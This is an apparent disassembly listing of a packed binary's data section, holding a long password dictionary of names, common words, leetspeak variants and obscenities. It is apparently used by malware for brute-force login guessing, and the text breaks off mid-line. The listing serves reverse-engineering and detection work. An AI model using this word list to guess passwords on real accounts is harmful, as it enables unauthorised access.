aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer_0 ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" off_430050 dd offset aWarfare ; DATA XREF: UPX0:00426B70o ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" off_43005C dd offset aWarren ; DATA XREF: UPX0:off_426A0Co ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_4397BC align 10h dword_4303A0 dd 10h ; DATA XREF: sub_40BE77+72w ; sub_40EE51+B5Fr ... aZimmerman db 'zimmerman',0 ; DATA XREF: UPX0:00430394o align 10h aZap db 'zap',0 ; DATA XREF: UPX0:00430390o aYellowstone db 'yellowstone',0 ; DATA XREF: UPX0:0043038Co aXyz db 'xyz',0 ; DATA XREF: UPX0:00430388o aWisconsin db 'wisconsin',0 ; DATA XREF: UPX0:00430384o align 10h aWilliamsburg db 'williamsburg',0 ; DATA XREF: UPX0:00430380o align 10h aWholesale db 'wholesale',0 ; DATA XREF: UPX0:0043037Co align 4 aTty db 'tty',0 ; DATA XREF: UPX0:00430378o aTopography db 'topography',0 ; DATA XREF: UPX0:00430374o align 4 aTemptation db 'temptation',0 ; DATA XREF: UPX0:00430370o align 4 aTelephone db 'telephone',0 ; DATA XREF: UPX0:0043036Co align 4 aTangerine db 'tangerine',0 ; DATA XREF: UPX0:00430368o align 10h aSys db 'sys',0 ; DATA XREF: UPX0:00430364o aSupported db 'supported',0 ; DATA XREF: UPX0:00430360o align 10h aSuperuser db 'superuser',0 ; DATA XREF: UPX0:0043035Co align 4 aSuperstage db 'superstage',0 ; DATA XREF: UPX0:00430358o align 4 aSun db 'sun',0 ; DATA XREF: UPX0:00430354o aStuttgart db 'stuttgart',0 ; DATA XREF: UPX0:00430350o align 4 aStratford db 'stratford',0 ; DATA XREF: UPX0:0043034Co align 4 aStephanie db 'stephanie',0 ; DATA XREF: UPX0:00430348o align 10h aSignature db 'signature',0 ; DATA XREF: UPX0:00430344o align 4 aSheffield db 'sheffield',0 ; DATA XREF: UPX0:00430340o align 4 aSal db 'sal',0 ; DATA XREF: UPX0:0043033Co aRochester db 'rochester',0 ; DATA XREF: UPX0:00430338o align 4 aRje db 'rje',0 ; DATA XREF: UPX0:00430334o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: UPX0:00430330o align 4 aPub db 'pub',0 ; DATA XREF: UPX0:0043032Co aProfessor db 'professor',0 ; DATA XREF: UPX0:00430328o align 4 aPrinceton db 'princeton',0 ; DATA XREF: UPX0:00430324o align 4 aPondering db 'pondering',0 ; DATA XREF: UPX0:00430320o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: UPX0:0043031Co align 10h aPersimmon db 'persimmon',0 ; DATA XREF: UPX0:00430318o align 4 aPercolate db 'percolate',0 ; DATA XREF: UPX0:00430314o align 4 aPam db 'pam',0 ; DATA XREF: UPX0:00430310o aPad db 'pad',0 ; DATA XREF: UPX0:0043030Co aOceanography db 'oceanography',0 ; DATA XREF: UPX0:00430308o align 10h aNutrition db 'nutrition',0 ; DATA XREF: UPX0:00430304o align 4 aNew db 'new',0 ; DATA XREF: UPX0:00430300o aNet db 'net',0 ; DATA XREF: UPX0:004302FCo aMit db 'mit',0 ; DATA XREF: UPX0:004302F8o aMgr db 'mgr',0 ; DATA XREF: UPX0:004302F4o aMacintosh db 'macintosh',0 ; DATA XREF: UPX0:004302F0o align 4 aLiz db 'liz',0 ; DATA XREF: UPX0:004302ECo aLee db 'lee',0 ; DATA XREF: UPX0:004302E8o aLamination db 'lamination',0 ; DATA XREF: UPX0:004302E4o align 4 aKim db 'kim',0 ; DATA XREF: UPX0:004302E0o aJoy db 'joy',0 ; DATA XREF: UPX0:004302D8o aJen db 'jen',0 ; DATA XREF: UPX0:004302D4o aInnocuous db 'innocuous',0 ; DATA XREF: UPX0:004302D0o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: UPX0:004302CCo align 10h aIbm db 'ibm',0 ; DATA XREF: UPX0:004302C8o aHappening db 'happening',0 ; DATA XREF: UPX0:004302C4o align 10h aHal db 'hal',0 ; DATA XREF: UPX0:004302C0o aGnu db 'gnu',0 ; DATA XREF: UPX0:004302BCo aFun db 'fun',0 ; DATA XREF: UPX0:004302B8o aForesight db 'foresight',0 ; DATA XREF: UPX0:004302B4o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: UPX0:004302B0o align 4 aExtension db 'extension',0 ; DATA XREF: UPX0:004302ACo align 10h aEstablish db 'establish',0 ; DATA XREF: UPX0:004302A8o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: UPX0:004302A4o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: UPX0:004302A0o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: UPX0:0043029Co align 10h aEdinburgh db 'edinburgh',0 ; DATA XREF: UPX0:00430298o align 4 aDos db 'dos',0 ; DATA XREF: UPX0:00430294o aDog db 'dog',0 ; DATA XREF: UPX0:00430290o aDiscovery db 'discovery',0 ; DATA XREF: UPX0:0043028Co align 10h aDesperate db 'desperate',0 ; DATA XREF: UPX0:00430288o align 4 aDeb db 'deb',0 ; DATA XREF: UPX0:00430284o aCornelius db 'cornelius',0 ; DATA XREF: UPX0:00430280o align 4 aCommrades db 'commrades',0 ; DATA XREF: UPX0:0043027Co align 4 aChristine db 'christine',0 ; DATA XREF: UPX0:00430278o align 4 aChristina db 'christina',0 ; DATA XREF: UPX0:00430274o align 10h aChemistry db 'chemistry',0 ; DATA XREF: UPX0:00430270o align 4 aCatherine db 'catherine',0 ; DATA XREF: UPX0:0043026Co align 4 aCat db 'cat',0 ; DATA XREF: UPX0:00430268o aCampanile db 'campanile',0 ; DATA XREF: UPX0:00430264o align 4 aCad db 'cad',0 ; DATA XREF: UPX0:00430260o aBsd db 'bsd',0 ; DATA XREF: UPX0:0043025Co aBob db 'bob',0 ; DATA XREF: UPX0:00430258o aBicameral db 'bicameral',0 ; DATA XREF: UPX0:00430254o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: UPX0:00430250o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: UPX0:0043024Co align 4 aAsm db 'asm',0 ; DATA XREF: UPX0:00430248o aAsd db 'asd',0 ; DATA XREF: UPX0:00430244o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: UPX0:00430240o align 10h aAnn db 'ann',0 ; DATA XREF: UPX0:0043023Co aAndromache db 'andromache',0 ; DATA XREF: UPX0:00430238o align 10h aAmy db 'amy',0 ; DATA XREF: UPX0:00430234o aAmorphous db 'amorphous',0 ; DATA XREF: UPX0:00430230o align 10h aAma db 'ama',0 ; DATA XREF: UPX0:0043022Co aAlf db 'alf',0 ; DATA XREF: UPX0:00430228o aAlbatross db 'albatross',0 ; DATA XREF: UPX0:00430224o align 4 aAda db 'ada',0 ; DATA XREF: UPX0:00430220o aH4x0ring db 'h4x0ring',0 ; DATA XREF: UPX0:0043021Co align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: UPX0:00430218o align 10h aH4x1ng db 'h4x1ng',0 ; DATA XREF: UPX0:00430214o align 4 aHaxing db 'haxing',0 ; DATA XREF: UPX0:00430210o align 10h aHax db 'hax',0 ; DATA XREF: UPX0:0043020Co aWh0re db 'wh0re',0 ; DATA XREF: UPX0:00430208o align 4 aHo db 'ho',0 ; DATA XREF: UPX0:00430204o align 10h aWh0r3 db 'wh0r3',0 ; DATA XREF: UPX0:00430200o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: UPX0:004301FCo align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: UPX0:004301F8o align 10h aWindozeme db 'windozeME',0 ; DATA XREF: UPX0:004301F4o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: UPX0:004301F0o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: UPX0:004301ECo align 4 aWindows95 db 'windows95',0 ; DATA XREF: UPX0:004301E8o align 10h aWindows98 db 'windows98',0 ; DATA XREF: UPX0:004301E4o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: UPX0:004301E0o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: UPX0:004301DCo align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: UPX0:004301D8o align 10h aMs db 'MS',0 ; DATA XREF: UPX0:004301D4o align 4 aM_0 db 'M$',0 ; DATA XREF: UPX0:004301D0o align 4 aBilly db 'billy',0 ; DATA XREF: UPX0:004301CCo align 10h aWindose db 'windose',0 ; DATA XREF: UPX0:004301C8o aWindoze db 'windoze',0 ; DATA XREF: UPX0:004301C4o aWindowz db 'windowz',0 ; DATA XREF: UPX0:004301C0o aWileecoyote db 'wileecoyote',0 ; DATA XREF: UPX0:004301BCo aDonaldduck db 'donaldduck',0 ; DATA XREF: UPX0:004301B8o align 10h aAlexander db 'Alexander',0 ; DATA XREF: UPX0:004301B4o align 4 aAl3x db 'Al3x',0 ; DATA XREF: UPX0:004301B0o align 4 aDud3 db 'dud3',0 ; DATA XREF: UPX0:004301ACo align 4 aDudette db 'dudette',0 ; DATA XREF: UPX0:004301A8o aD00d db 'd00d',0 ; DATA XREF: UPX0:004301A4o align 4 aLol db 'lol',0 ; DATA XREF: UPX0:004301A0o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: UPX0:0043019Co align 10h aRoscop db 'RoscoP',0 ; DATA XREF: UPX0:00430198o align 4 aRosco db 'Rosco',0 ; DATA XREF: UPX0:00430194o align 10h aRoss db 'Ross',0 ; DATA XREF: UPX0:00430190o align 4 aTestin db 'testin',0 ; DATA XREF: UPX0:0043018Co align 10h aTester db 'tester',0 ; DATA XREF: UPX0:00430188o align 4 a00000000 db '00000000',0 ; DATA XREF: UPX0:00430184o align 4 aZulu db 'zulu',0 ; DATA XREF: UPX0:00430180o align 4 aZombie db 'zombie',0 ; DATA XREF: UPX0:0043017Co align 4 aZmodem db 'zmodem',0 ; DATA XREF: UPX0:00430178o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: UPX0:00430174o align 4 aZiggy db 'ziggy',0 ; DATA XREF: UPX0:00430170o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: UPX0:0043016Co align 4 aZebra db 'zebra',0 ; DATA XREF: UPX0:00430168o align 4 aYoung db 'young',0 ; DATA XREF: UPX0:00430164o align 4 aYosemite db 'yosemite',0 ; DATA XREF: UPX0:00430160o align 4 aYolanda db 'yolanda',0 ; DATA XREF: UPX0:0043015Co aYellowst db 'yellowst',0 ; DATA XREF: UPX0:00430158o align 4 aYellow db 'yellow',0 ; DATA XREF: UPX0:00430154o align 4 aYankee db 'yankee',0 ; DATA XREF: UPX0:00430150o align 4 aYang db 'yang',0 ; DATA XREF: UPX0:0043014Co align 4 aYaco db 'yaco',0 ; DATA XREF: UPX0:00430148o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: UPX0:00430144o align 4 aXray db 'xray',0 ; DATA XREF: UPX0:00430140o align 4 aXmodem db 'xmodem',0 ; DATA XREF: UPX0:0043013Co align 4 aXmen db 'xmen',0 ; DATA XREF: UPX0:00430138o align 4 aXman db 'xman',0 ; DATA XREF: UPX0:00430134o align 4 aXfer db 'xfer',0 ; DATA XREF: UPX0:00430130o align 4 aXena db 'xena',0 ; DATA XREF: UPX0:0043012Co align 4 aWyoming db 'wyoming',0 ; DATA XREF: UPX0:00430128o aWwii db 'wwii',0 ; DATA XREF: UPX0:00430124o align 4 aWormwood db 'wormwood',0 ; DATA XREF: UPX0:00430120o align 10h aWorm db 'worm',0 ; DATA XREF: UPX0:0043011Co align 4 aWork db 'work',0 ; DATA XREF: UPX0:00430118o align 10h aWorf db 'worf',0 ; DATA XREF: UPX0:00430114o align 4 aWordperf db 'wordperf',0 ; DATA XREF: UPX0:00430110o align 4 aWord db 'word',0 ; DATA XREF: UPX0:0043010Co align 4 aWoodwind db 'woodwind',0 ; DATA XREF: UPX0:00430108o align 4 aWood db 'wood',0 ; DATA XREF: UPX0:00430104o align 10h aWomen db 'women',0 ; DATA XREF: UPX0:00430100o align 4 aWombat db 'wombat',0 ; DATA XREF: UPX0:004300FCo align 10h aWoman db 'woman',0 ; DATA XREF: UPX0:004300F8o align 4 aWolverin db 'wolverin',0 ; DATA XREF: UPX0:004300F4o align 4 aWolf db 'wolf',0 ; DATA XREF: UPX0:004300F0o align 4 aWizard db 'wizard',0 ; DATA XREF: UPX0:004300ECo align 4 aWithin db 'within',0 ; DATA XREF: UPX0:004300E8o align 4 aWiseass db 'wiseass',0 ; DATA XREF: UPX0:004300E4o aWisconsi db 'wisconsi',0 ; DATA XREF: UPX0:004300E0o align 10h aWired db 'wired',0 ; DATA XREF: UPX0:004300DCo align 4 aWinston db 'winston',0 ; DATA XREF: UPX0:004300D8o aWing db 'wing',0 ; DATA XREF: UPX0:004300D4o align 4 aWine db 'wine',0 ; DATA XREF: UPX0:004300D0o align 10h aWindows db 'windows',0 ; DATA 